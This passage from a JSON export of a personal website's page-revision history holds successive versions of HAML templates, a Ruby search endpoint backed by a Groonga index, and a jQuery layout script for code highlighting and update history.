|p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:16:48.000Z","updated_at":"2013-04-05T17:16:48.000Z"},{"id":2351,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = request.params['page'] ? request.params['page'].to_i : 1\r\n -Page.find(Groonga['Pages'].select(\"name:^text/\").paginate([key: 'created_at', order: 'descending'], size: 200, page: page).map{|x| x.page_id}).each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:17:37.000Z","updated_at":"2013-04-05T17:17:37.000Z"},{"id":2352,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -Page.find(Groonga['Pages'].select(\"name:^text/\").paginate([key: 'created_at', order: 'descending'], size: 20000, page: page).map{|x| x.page_id}).each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:18:28.000Z","updated_at":"2013-04-05T17:18:28.000Z"},{"id":2353,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -Page.find(Groonga['Pages'].select(\"name:^text\").paginate([key: 'created_at', order: 'descending'], size: 20000, page: page).map{|x| x.page_id}).each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:18:34.000Z","updated_at":"2013-04-05T17:18:34.000Z"},{"id":2354,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -Page.find(Groonga['Pages'].select(\"name:^text\\/\").paginate([key: 'created_at', order: 'descending'], size: 20000, page: page).map{|x| x.page_id}).each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:19:05.000Z","updated_at":"2013-04-05T17:19:05.000Z"},{"id":2355,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -Page.find(Groonga['Pages'].select(\"name:^text\\\\/\").paginate([key: 'created_at', order: 'descending'], size: 20000, page: page).map{|x| x.page_id}).each do |p|\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:19:10.000Z","updated_at":"2013-04-05T17:19:10.000Z"},{"id":2356,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -Page.find(Groonga['Pages'].select(\"name:^text/\").paginate([key: 'created_at', order: 'descending'], size: 20000, page: page).map{|x| x.page_id}).each do |p|\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:19:28.000Z","updated_at":"2013-04-05T17:19:28.000Z"},{"id":2357,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -Page.find(Groonga['Pages'].select(\"name:^text\").paginate([key: 'created_at', order: 'descending'], size: 20000, page: page).map{|x| x.page_id}).each do |p|\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:19:33.000Z","updated_at":"2013-04-05T17:19:33.000Z"},{"id":2358,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -Page.find(Groonga['Pages'].select(\"name:^text\\\\/\").paginate([key: 'created_at', order: 'descending'], size: 20000, page: page).map{|x| x.page_id}).each do |p|\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:19:38.000Z","updated_at":"2013-04-05T17:19:38.000Z"},{"id":2359,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -Page.find(Groonga['Pages'].select(\"name:^text\").paginate([key: 'created_at', order: 'descending'], size: 20000, page: page).map{|x| x.page_id}).each do |p|\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:19:44.000Z","updated_at":"2013-04-05T17:19:44.000Z"},{"id":2360,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -Page.find(Groonga['Pages'].select(\"name:^text\").paginate([key: 'created_at', order: 'ascending'], size: 20000, page: page).map{|x| x.page_id}).each do |p|\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:19:58.000Z","updated_at":"2013-04-05T17:19:58.000Z"},{"id":2361,"name":"text","body":"haml\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title ssig33.com - texts\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %p\r\n %a{href: '/'} back to the top\r\n %h1 ssig33.com - texts\r\n -page = 1\r\n -Page.where(id: Groonga['Pages'].select(\"name:^text\").paginate([key: 'created_at', order: 'ascending'], size: 20000, page: page).map{|x| x.page_id}).order(\"id desc\").each do |p|\r\n -next unless p.name =~ /text\\//\r\n %p\r\n %a{href: \"/#{p.name}\"}=p.blogtitle\r\n %span{style: 'color:grey'}=\"(#{p.created_at.utc})\"\r\n","created_at":"2013-04-05T17:20:50.000Z","updated_at":"2013-04-05T17:20:50.000Z"},{"id":2362,"name":"search","body":"ruby\r\nGroonga['Pages'].select(Sewell.generate(params[:q], %w{name text})).map{|x| [x.name, x.text.slice(0,60), x.text.length]}.to_json","created_at":"2013-04-05T17:24:51.000Z","updated_at":"2013-04-05T17:24:51.000Z"},{"id":2363,"name":"search","body":"ruby\r\nGroonga['Pages'].select(Sewell.generate(request.params['q'].to_s, %w{name text})).map{|x| [x.name, x.text.slice(0,60), x.text.length]}.to_json","created_at":"2013-04-05T17:25:02.000Z","updated_at":"2013-04-05T17:25:02.000Z"},{"id":2364,"name":"search","body":"ruby\r\nmime text/javascript\r\nGroonga['Pages'].select(Sewell.generate(request.params['q'].to_s, %w{name text})).map{|x| [x.name, x.text.slice(0,60), x.text.length]}.to_json","created_at":"2013-04-05T17:27:54.000Z","updated_at":"2013-04-05T17:27:54.000Z"},{"id":2365,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %label Search\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %div\r\n %ul\r\n %li \r\n %b Update history of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T17:28:56.000Z","updated_at":"2013-04-05T17:28:56.000Z"},{"id":2366,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %label \r\n Search\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %div\r\n %ul\r\n %li \r\n %b Update history of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T17:29:10.000Z","updated_at":"2013-04-05T17:29:10.000Z"},{"id":2367,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %label \r\n Search\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %div\r\n %ul\r\n %li \r\n %b Update history of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} (Latest)\r\n - else\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}\r\n %b=p.created_at.gmtime\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n if($('.history').length \u003e 3){$('.history').slice(3).hide();$('.history').last().after($('\u003cli\u003e').html($('\u003ca href=\"javascript:void(0)\"\u003emore...\u003c/a\u003e').click(function(){$('li.history').show();$(this).parent().remove()})))}\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-04-05T17:29:30.000Z","updated_at":"2013-04-05T17:29:30.000Z"},{"id":2368,"name":"layout","body":"layout layout\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/search.coffee\"}\r\n%div#all\r\n ~@page.html(request)\r\n %hr\r\n %label \r\n Search\r\n %input#search\r\n #search_area\r\n -if Page.where(name: @page.name).order('id desc').count \u003e 1\r\n %div\r\n %ul\r\n %li \r\n %b Update history of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n %li.history\r\n - if i == 0\r\n -if @page.id == p.id\r\n %a{href: \"/#{URI.encode(@page.name)}\"} \r\n %b #{p.created_at.gmtime} (Latest)\r\n -else\r\n %a{href: \"/#{URI.encode(@page.name)}\"} #{p.created_at.gmtime} 